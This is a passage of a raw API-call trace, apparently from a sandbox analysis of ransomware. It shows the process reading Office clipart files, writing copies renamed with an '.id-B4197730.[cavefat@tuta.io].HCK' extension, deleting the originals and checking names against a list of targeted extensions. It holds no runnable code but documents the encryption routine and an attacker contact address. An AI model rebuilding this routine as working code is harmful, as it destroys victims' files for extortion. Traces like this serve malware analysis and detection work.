dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.236] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.236] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.238] GetLastError () returned 0x0 [0180.238] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x36aa, lpOverlapped=0x0) returned 1 [0180.239] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x36b0, lpOverlapped=0x0) returned 1 [0180.240] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.240] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.240] SetEndOfFile (hFile=0x300) returned 1 [0180.241] CloseHandle (hObject=0x300) returned 1 [0180.241] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.241] SetEndOfFile (hFile=0x2fc) returned 1 [0180.244] CloseHandle (hObject=0x2fc) returned 1 [0180.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf")) returned 1 [0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.247] lstrlenW (lpString=".doc") returned 4 [0180.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.247] lstrlenW (lpString=".docx") returned 5 [0180.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.247] lstrlenW (lpString=".pdf") returned 4 [0180.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.247] lstrlenW (lpString=".xls") returned 4 [0180.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.247] lstrlenW (lpString=".xlsx") returned 5 [0180.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.247] lstrlenW (lpString=".ppt") returned 4 [0180.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.247] lstrlenW (lpString=".zip") returned 4 [0180.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.248] lstrlenW (lpString=".rar") returned 4 [0180.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".bz2") returned 4 [0180.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".7z") returned 3 [0180.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.248] lstrlenW (lpString=".dbf") returned 4 [0180.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.248] lstrlenW (lpString=".1cd") returned 4 [0180.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.248] lstrlenW (lpString=".jpg") returned 4 [0180.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.248] lstrlenW (lpString=".doc") returned 4 [0180.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".docx") returned 5 [0180.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.248] lstrlenW (lpString=".pdf") returned 4 [0180.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".xls") returned 4 [0180.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.248] lstrlenW (lpString=".xlsx") returned 5 [0180.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.248] lstrlenW (lpString=".ppt") returned 4 [0180.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.248] lstrlenW (lpString=".zip") returned 4 [0180.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.248] lstrlenW (lpString=".rar") returned 4 [0180.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".bz2") returned 4 [0180.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".7z") returned 3 [0180.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.248] lstrlenW (lpString=".dbf") returned 4 [0180.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.248] lstrlenW (lpString=".1cd") returned 4 [0180.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 68 [0180.249] lstrlenW (lpString=".jpg") returned 4 [0180.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.249] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.249] lstrlenW (lpString="SO00159_.WMF") returned 12 [0180.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.253] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8230) returned 1 [0180.253] CloseHandle (hObject=0x300) returned 1 [0180.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf")) returned 0x220 [0180.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.259] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.259] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.261] GetLastError () returned 0x0 [0180.261] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2026, lpOverlapped=0x0) returned 1 [0180.263] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2030, lpOverlapped=0x0) returned 1 [0180.264] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.264] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.264] SetEndOfFile (hFile=0x2fc) returned 1 [0180.266] CloseHandle (hObject=0x2fc) returned 1 [0180.266] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.266] SetEndOfFile (hFile=0x3a4) returned 1 [0180.267] CloseHandle (hObject=0x3a4) returned 1 [0180.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf")) returned 1 [0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.272] lstrlenW (lpString=".doc") returned 4 [0180.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString=".docx") returned 5 [0180.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.272] lstrlenW (lpString=".pdf") returned 4 [0180.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString=".xls") returned 4 [0180.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.272] lstrlenW (lpString=".xlsx") returned 5 [0180.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.272] lstrlenW (lpString=".ppt") returned 4 [0180.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.272] lstrlenW (lpString=".zip") returned 4 [0180.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.272] lstrlenW (lpString=".rar") returned 4 [0180.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString=".bz2") returned 4 [0180.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString=".7z") returned 3 [0180.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.272] lstrlenW (lpString=".dbf") returned 4 [0180.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.273] lstrlenW (lpString=".1cd") returned 4 [0180.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.273] lstrlenW (lpString=".jpg") returned 4 [0180.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.273] lstrlenW (lpString=".doc") returned 4 [0180.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString=".docx") returned 5 [0180.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.273] lstrlenW (lpString=".pdf") returned 4 [0180.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString=".xls") returned 4 [0180.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.273] lstrlenW (lpString=".xlsx") returned 5 [0180.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.273] lstrlenW (lpString=".ppt") returned 4 [0180.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.273] lstrlenW (lpString=".zip") returned 4 [0180.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.273] lstrlenW (lpString=".rar") returned 4 [0180.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString=".bz2") returned 4 [0180.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString=".7z") returned 3 [0180.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.273] lstrlenW (lpString=".dbf") returned 4 [0180.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.273] lstrlenW (lpString=".1cd") returned 4 [0180.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 68 [0180.273] lstrlenW (lpString=".jpg") returned 4 [0180.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.273] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.273] lstrlenW (lpString="SO00177_.WMF") returned 12 [0180.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.276] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=36622) returned 1 [0180.276] CloseHandle (hObject=0x2fc) returned 1 [0180.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf")) returned 0x220 [0180.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.285] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.285] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.287] GetLastError () returned 0x0 [0180.287] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x8f0e, lpOverlapped=0x0) returned 1 [0180.290] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x8f10, lpOverlapped=0x0) returned 1 [0180.291] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.291] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.291] SetEndOfFile (hFile=0x2fc) returned 1 [0180.292] CloseHandle (hObject=0x2fc) returned 1 [0180.293] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.293] SetEndOfFile (hFile=0x300) returned 1 [0180.294] CloseHandle (hObject=0x300) returned 1 [0180.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf")) returned 1 [0180.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.297] lstrlenW (lpString=".doc") returned 4 [0180.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.297] lstrlenW (lpString=".docx") returned 5 [0180.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.297] lstrlenW (lpString=".pdf") returned 4 [0180.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.297] lstrlenW (lpString=".xls") returned 4 [0180.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.297] lstrlenW (lpString=".xlsx") returned 5 [0180.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.297] lstrlenW (lpString=".ppt") returned 4 [0180.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.297] lstrlenW (lpString=".zip") returned 4 [0180.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.298] lstrlenW (lpString=".rar") returned 4 [0180.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString=".bz2") returned 4 [0180.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString=".7z") returned 3 [0180.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString=".dbf") returned 4 [0180.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString=".1cd") returned 4 [0180.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString=".jpg") returned 4 [0180.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString=".doc") returned 4 [0180.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString=".docx") returned 5 [0180.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.298] lstrlenW (lpString=".pdf") returned 4 [0180.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString=".xls") returned 4 [0180.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.298] lstrlenW (lpString=".xlsx") returned 5 [0180.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.298] lstrlenW (lpString=".ppt") returned 4 [0180.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString=".zip") returned 4 [0180.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.298] lstrlenW (lpString=".rar") returned 4 [0180.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString=".bz2") returned 4 [0180.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString=".7z") returned 3 [0180.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString=".dbf") returned 4 [0180.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString=".1cd") returned 4 [0180.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 68 [0180.298] lstrlenW (lpString=".jpg") returned 4 [0180.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.298] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.299] lstrlenW (lpString="SO00192_.WMF") returned 12 [0180.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.301] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10252) returned 1 [0180.301] CloseHandle (hObject=0x368) returned 1 [0180.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf")) returned 0x220 [0180.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.309] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 